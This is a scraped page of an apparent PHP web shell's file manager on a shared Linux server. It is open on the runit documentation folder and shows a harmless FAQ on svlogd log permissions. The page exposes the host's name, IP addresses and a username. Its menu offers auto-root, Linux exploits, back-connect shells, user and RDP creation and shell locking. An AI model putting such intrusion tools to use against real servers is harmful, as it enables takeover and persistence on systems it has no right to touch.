Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
runit /
[ HOME SHELL ]
Name
Size
Permission
Action
html
[ DIR ]
drwxr-xr-x
FAQ
843
B
-rw-r--r--
NEWS.Debian.gz
1.62
KB
-rw-r--r--
README
54
B
-rw-r--r--
THANKS
124
B
-rw-r--r--
changelog.Debian.gz
2.09
KB
-rw-r--r--
copyright
2.9
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FAQ
Subject: svlogd, when rotating, sets the log files as executable. Why? From: Jamie Heilman <jamie@audible.transient.net> Date: Mon, 8 Feb 2016 06:12:27 +0000 This is all based off daemontools' multilog ... https://cr.yp.to/daemontools/multilog.html ... which states: While multilog is running, current has mode 644. If multilog sees the end of stdin, it writes current safely to disk, and sets the mode of current to 744. When it restarts, it sets the mode of current back to 644 and continues writing new lines. When multilog decides that current is big enough, it writes current safely to disk, sets the mode of current to 744, and renames current as an old log file. Thus it's effectively using the mode bits as flag to communicate the state of the application, which while unusual, is harmless.
Close
